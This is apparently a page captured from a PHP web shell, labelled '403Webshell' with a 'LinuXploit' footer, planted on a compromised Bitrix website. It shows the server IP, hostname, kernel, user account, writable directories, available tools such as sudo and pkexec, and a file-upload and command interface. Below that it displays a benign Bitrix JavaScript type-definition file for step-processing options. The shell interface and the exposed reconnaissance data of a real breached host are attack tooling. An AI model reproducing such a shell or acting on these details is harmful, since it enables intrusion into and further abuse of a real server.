403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/ui/stepprocessing/src/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/ui/stepprocessing/src/process-types.js
// @flow

/**
 * @namespace {BX.UI.StepProcessing}
 */

export type OptionsField = {
	id?: string;
	name: string;
	type: 'checkbox' | 'select' | 'radio' | 'text' | 'file';
	title: string;
	value?: string;
	obligatory?: boolean;
	multiple?: boolean;
	emptyMessage?: string;
	textSize?: number;
	textLine?: number;
	list?: {[val: string]: string};
	size?: number;
};

export type QueueAction = {
	action: string;
	title: string;
	progressBarTitle: string;
	method?: 'GET' | 'POST';
	controller?: string;
	params?: {[name: string]: any};
	finalize?: boolean;
	handlers?: {
		StateChanged?: ($Values<ProcessState>, ProcessResult) => void;
		RequestStart?: FormData => void;
		RequestStop?: any => void;
		RequestFinalize?: any => void;
	};
};

export type ProcessOptions = {
	id: string;
	controller?: string;
	component?: string;
	componentMode?: 'class'|'ajax';
	method?: 'GET' | 'POST';
	params?: {[name: string]: any};
	messages?: {[code: string]: string};
	optionsFields?: OptionsField[];
	handlers?: {
		StateChanged?: ($Values<ProcessState>, ProcessResult) => void;
		RequestStart?: FormData => void;
		RequestStop?: any => void;
		RequestFinalize?: any => void;
	};
	showButtons?: {
		start?: boolean;
		stop?: boolean;
		close?: boolean;
	};
	queue?: QueueAction[];
	dialogMinWidth?: number;
	dialogMaxWidth?: number;
};

export const ProcessResultStatus = {
	progress: 'PROGRESS',
	completed: 'COMPLETED'
};

export type ProcessResult = {
	STATUS?: $Values<ProcessResultStatus>;
	SUMMARY?: string;
	SUMMARY_HTML?: string;
	PROCESSED_ITEMS?: number;
	TOTAL_ITEMS?: number;
	WARNING?: string;
	FINALIZE?: boolean;
	NEXT_CONTROLLER?: string;
	NEXT_ACTION?: string;
	DOWNLOAD_LINK?: string;
	FILE_NAME?: string;
	DOWNLOAD_LINK_NAME?: string;
	CLEAR_LINK_NAME?: string;
};

export const ProcessState = {
	intermediate: 'INTERMEDIATE',
	running: 'RUNNING',
	completed: 'COMPLETED',
	stopped: 'STOPPED',
	error: 'ERROR',
	canceling: 'CANCELING'
};

export type ControllerResponse = {
	data?: ProcessResult;
	errors?: [];
	status?: 'success' | 'error';
};

Youez - 2016 - github.com/yon3zu
LinuXploit